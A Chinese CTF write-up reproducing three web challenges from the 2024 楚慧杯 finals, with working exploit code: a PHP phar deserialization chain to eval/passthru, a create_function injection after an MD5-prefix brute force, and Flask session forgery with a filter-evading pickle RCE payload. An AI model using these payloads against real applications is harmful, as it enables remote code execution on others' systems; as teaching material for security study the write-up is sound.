2024楚慧杯决赛复现

myweb

题解

这道题目有点可惜,思路是对的,代码那一处少了;导致没执行成功,这里有报错是正常的,代码还是正常执行了的。

先是扫描了一下,发现user.json,给了账号密码,登上去就是一个上传的接口。然后还给了一个读文件的接口/show.php?file=xxx.jpg,到这里有两个思路:1.图片马 2.phar反序列化。图片马这里是打不通的,因为这里是file_get_content是读文件内容。而不是直接包含。

通过/show.php?file=show.php可以直接拿到show.php的源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
class sing{
public $apple;
public $range;
public function __destruct()
{
if($this->range == "range"){
echo "apple is ?".$this->apple;
}
}
}

class song{
public $banana;
public $abble;
public function __toString()
{
if($this->abble == "abble"){
return $this->banana->ernb();
}
}
}

class rap{
public $text;
public function __call($name, $arguments)
{
return $this->text->aaabbb;
}
}

class basketball{
public $payload;
public function __get($name)
{
if(!preg_match("/flag|system|php|cat|eval|tac|sort|shell|%|~|\\^|\\.|\'/i", $this->payload)){
@eval($this->payload);
}
}
}


if (isset($_GET['file'])) {
$imagePath = $_GET['file'];
if (preg_match("/(\/flag|\/fl|\/f|sort)/i", $imagePath)){
exit();
}

$imageData = file_get_contents($imagePath);

if ($imageData !== false) {

$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_buffer($finfo, $imageData);
finfo_close($finfo);

header("Content-Type: $mimeType");

echo $imageData;
exit;
} else {
echo "Image cannot be read.";
}
}
?>

像这种直接给了源码的,有链子的,phar反序列化无疑了。。。

构造链子poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
class sing{
public $apple;
public $range="range";
public function __construct()
{
$this->apple=new song();
}
}

class song{
public $banana;
public $abble="abble";
public function __construct()
{
$this->banana=new rap();
}

}

class rap{
public $text;
public function __construct()
{
$this->text=new basketball();
}
}

class basketball{
public $payload='passthru("dir");'; //我这里测试的环境是window,linux下改下命令即可。
public function __get($name)
{
if(!preg_match("/flag|system|php|cat|eval|tac|sort|shell|%|~|\\^|\\.|\'/i", $this->payload)){
@eval($this->payload);
}
}
}

$phar=new Phar("hack100.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>");
$phar->setMetadata(new sing());
$phar->addFromString("text.txt","hello,phar!");
$phar->stopBuffering();
?>

生成的phar文件改一下后缀成jpg,然后上传,最后通过/show.php?file=phar://./uploads/hack100.jpg触发。

1
2
3
最终拿flag://linux下
$payload='passthru("nl /fl*");';或者
$payload='echo `nl /fl*`;';

反思

payload那里没有加分号,导致代码没有执行,加上有报错信息以为生成的phar文件有问题。

Collect

题解

这个题目也是给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
show_source(__FILE__);

class safe
{
public $password;
public function __destruct()
{

echo $this->password;
}
}

class unsafe
{
public $username;
public function __toString() {
$action = $_GET['action'] ?: '';
$arg = $_GET['arg'] ?: '';
$this->username = $this->username . "hack me!";
echo $this->username;

if (preg_match('/^[a-z0-9_]*$|\n/isD', $action)) {
echo "Do it another way";
}
else
{
if (substr(md5($this->username), 0, 5) == 'ae471')
{
echo "can call dangerous syscall";
$action('', $arg);
}
}
return "__toString was called!";
}
}
if (isset($_POST["unsafe"]))
{
unserialize($_POST["unsafe"]);
}
?>

链子很简单,主要就是绕过两个地方:substr(md5($this->username), 0, 5) == 'ae471'preg_match('/^[a-z0-9_]*$|\n/isD', $action)

这里第一处直接可以写脚本来爆破,不过需要注意的是这里的username是拼接了hack me!的。python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import hashlib
def find_string_with_md5_prefix(prefix):
i = 0
while True:
# 构造当前字符串(可以是数字,字母,或者其他字符)
current_string = str(i)
current_string=current_string+'hack me!'

# 计算字符串的 MD5 哈希值
md5_hash = hashlib.md5(current_string.encode('utf-8')).hexdigest()

# 检查哈希值的前五位
if md5_hash[:5] == prefix:
return current_string, md5_hash

i += 1

# 使用函数找到 MD5 前五位为 'ae471' 的字符串
prefix = 'ae471'
result_string, md5_value = find_string_with_md5_prefix(prefix)

print(f"Found string: {result_string}")
print(f"MD5 Hash: {md5_value}")

很快就找到了一个可以用的:519651。接下来就是利用$action('', $arg);,这里后面看了网上类似的WP发现是要用create_function,但是因为有preg_match('/^[a-z0-9_]*$|\n/isD', $action)的限制,所以直接create_function过不掉。

这里查阅资料,可以用\来绕过。 让$action=\create_function,就会变成 function lamba(){$arg},这种形式,我们就让$arg=return;}system('dir');//来进行拼接。

生成序列化字符串的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class safe
{
public $password;
public function __construct()
{
$this->password = new unsafe();
}

}
class unsafe
{
public $username;
public function __construct()
{
$this->username = 519651;
}
}
$a=new safe();
echo serialize($a);
?>
//运行得到:O:4:"safe":1:{s:8:"password";O:6:"unsafe":1:{s:8:"username";i:519651;}}

最终的poc:

1
2
3
http://127.0.0.1/Collect/index.php?action=\create_function&arg=return;}system("dir");//
post传:
unsafe=O:4:"safe":1:{s:8:"password";O:6:"unsafe":1:{s:8:"username";i:519651;}}

注意:这里的create_function比较特殊,可以用参数来进行闭合和拼接。其他不行。

easy flask

题解

听说是python的pickle反序列化。待填坑。这个题目考察的flask的session伪造+pickle反序列化RCE

给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from flask import Flask, request, render_template, redirect, url_for, session, send_from_directory
import os
import pickle
import base64

app = Flask(__name__)
app.secret_key = 's3cr3t_Key_Y0u_Nev3r_GuesS'

# 用户数据存储目录
USERS_DIR = "users"

# 创建用户数据存储目录
if not os.path.exists(USERS_DIR):
os.makedirs(USERS_DIR)


# 注册路由
@app.route('/reg', methods=['POST'])
def register():
username = request.form.get('username')
password = request.form.get('password')
user_data = {
'username': username,
'password': password,
}
user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.data')
print(user_data)
with open(user_file, 'wb') as file:
pickle.dump(user_data, file)

return "Registration successful"


# 注册页面
@app.route('/register')
def register_page():
return render_template('register.html')


# 登录路由
@app.route('/login', methods=['POST'])
def login():
username = request.form.get('username')
password = request.form.get('password')
user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.data')

if os.path.exists(user_file):
with open(user_file, 'rb') as file:
stored_data = pickle.load(file)
if password == stored_data['password']:
# 登录成功
session['data'] = base64.b64encode(pickle.dumps(stored_data)).decode('utf-8')
return redirect(url_for('index'))

return "Login failed"

# 首页路由
@app.route('/index')
def index():
data = session.get('data', None)
if data:
data = base64.b64decode(data)
if b'R' in data or b'built' in data or b'setstate' in data:
return "hacker???"
user_data = pickle.loads(data)
username = user_data['username']
return render_template('index.html', username=username)
else:
return redirect(url_for('login_page'))


# 登录页面
@app.route('/')
def login_page():
return render_template('login.html')

# 登出路由
@app.route('/logout', methods=['POST'])
def logout():
session.pop('data', None) # 清除 session 数据
return redirect(url_for('login_page'))

@app.route('/cache')
def download_cache_file():
# 文件路径,根据你的项目结构可能需要调整
cache_file_path = os.path.join('__pycache__', 'app.cpython-38.pyc')

# 检查文件是否存在
if os.path.exists(cache_file_path):
return send_from_directory(os.path.dirname(cache_file_path), os.path.basename(cache_file_path),
as_attachment=True)
else:
return "Cache file not found"

if __name__ == '__main__':
app.run(host='0.0.0.0')

代码量不大,可以看下逻辑,首先是注册路由那里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@app.route('/reg', methods=['POST'])
def register():
username = request.form.get('username')
password = request.form.get('password')
user_data = {
'username': username,
'password': password,
}
user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.data')
print(user_data)
with open(user_file, 'wb') as file:
pickle.dump(user_data, file)

return "Registration successful"

获取表单username和password的值,然后以json的格式做序列化操作,把序列化之后的内容,以base64编码的username,加上后缀.data进行命名,放到users文件夹下。比如这里我在注册页面输入username=1,password=1。就会在/users下生成一个MQ==.data文件。内容就是user_data序列化之后的。

然后再去看登录路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 登录路由
@app.route('/login', methods=['POST'])
def login():
username = request.form.get('username')
password = request.form.get('password')
user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.data')

if os.path.exists(user_file):
with open(user_file, 'rb') as file:
stored_data = pickle.load(file)
if password == stored_data['password']:
# 登录成功
session['data'] = base64.b64encode(pickle.dumps(stored_data)).decode('utf-8')
return redirect(url_for('index'))

return "Login failed"

同样的,也是先获取表单username和password的值,然后这里会把password的值和MQ==.data反序列化之后password字段的值做比较,如果相等,则登录成功,并且有个赋值操作: session['data'] = base64.b64encode(pickle.dumps(stored_data)).decode('utf-8'),这里就是把stored_data的内容进行序列化然后再base64加密一下,这里stored_data的内容就是前面注册那里的user_data的内容。这里很重要,是我们后面去伪造session数据进行反序列化RCE的关键。

最后再看漏洞的触发点,也就是首页路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 首页路由
@app.route('/index')
def index():
data = session.get('data', None)
if data:
data = base64.b64decode(data)
if b'R' in data or b'built' in data or b'setstate' in data:
return "hacker???"
user_data = pickle.loads(data)
username = user_data['username']
return render_template('index.html', username=username)
else:
return redirect(url_for('login_page'))

这里我一开始看了哈工大一个同学写的文章,它上面提到的手法,这里都给过滤了,以为就不能RCE了,后面去找了些其他的文章,发现i,O,S也是可以RCE的,比如这里的payload=b'''(S'ls'\nios\nsystem\n.''',我本地也尝试了一下,发现是可行的:

easy flask1

可以看到成功执行了ls命令。所以只要这里的data可控,我们就可以通过pickle.loads(data)来RCE了。那么data是不是可控的呢?答案是的。

这里的data = session.get('data', None),即data=session[data],然后这里也给了app.secret_key = 's3cr3t_Key_Y0u_Nev3r_GuesS',flask的session是存在本地的,我们可以看到:

easy flask2

比如我本地测试的session数据为:eyJkYXRhIjoiZ0FTVklRQUFBQUFBQUFCOWxDaU1DSFZ6WlhKdVlXMWxsSXdCTVpTTUNIQmhjM04zYjNKa2xHZ0NkUzQ9In0.Z4tS0Q.X3jNUkjSknYN_3-2t8ubhmkOMdc,一开始不知道这样的一个生成格式,但是稍微做了一个尝试,就可以猜到了,这里可以base64解码一下:

easy flask3

其实可以看出,前半部分eyJkYXRhIjoiZ0FTVklRQUFBQUFBQUFCOWxDaU1DSFZ6WlhKdVlXMWxsSXdCTVpTTUNIQmhjM04zYjNKa2xHZ0NkUzQ9In0,对应的就是{“data”:”base64加密”}的这样的数据形式,.之后的数据就是附带上的签名啥的。

所以我们可以有两种方式来构造session,把原来的app.py代码copy部分过来,本地再起一个app.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from flask import Flask, request, render_template, redirect, url_for, session, send_from_directory
import os
import pickle
import base64
app = Flask(__name__)
app.secret_key = 's3cr3t_Key_Y0u_Nev3r_GuesS'
app.debug = True
app.config['DEBUG'] = True
# 用户数据存储目录
USERS_DIR = "users"
# 登录路由
@app.route('/payload', methods=['GET'])
def login():
session['data'] = base64.b64encode(b'''(S'calc'\nios\nsystem\n.''').decode('utf-8')
return "Registration successful"
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True,port=5005)

把这里的session[‘data’]数据改写成我们的payload, session['data'] = base64.b64encode(b'''(S'calc'\nios\nsystem\n.''').decode('utf-8')。然后访问:

easy flask4

我们把生成的cookieeyJkYXRhIjoiS0ZNblkyRnNZeWNLYVc5ekNuTjVjM1JsYlFvdSJ9.Z4tVuA.aCbLwOZ2qdStMMgDsbAIVuGXbTk直接做替换,放到我们原来的环境去打:

注意,这里是get请求,发送过去即可:

easy flask5

第二种方式就是建立在你有伪造脚本的情况:

easy flask6

把生成的session[data]放到脚本上面去伪造,生成session:

python3 flask_session_cookie_manager3.py encode -s "s3cr3t_Key_Y0u_Nev3r_GuesS" -t '{"data":"KFMnY2FsYycKaW9zCnN5c3RlbQou"}'

easy flask7

生成的eyJkYXRhIjoiS0ZNblkyRnNZeWNLYVc5ekNuTjVjM1JsYlFvdSJ9.Z4taTQ.QENfsCMsjjyCXgB0b4Jx0waJL0g丢到cookie里面发包也可以RCE:

easy flask8

后记

该花一段时间去好好整理一下python相关的漏洞了。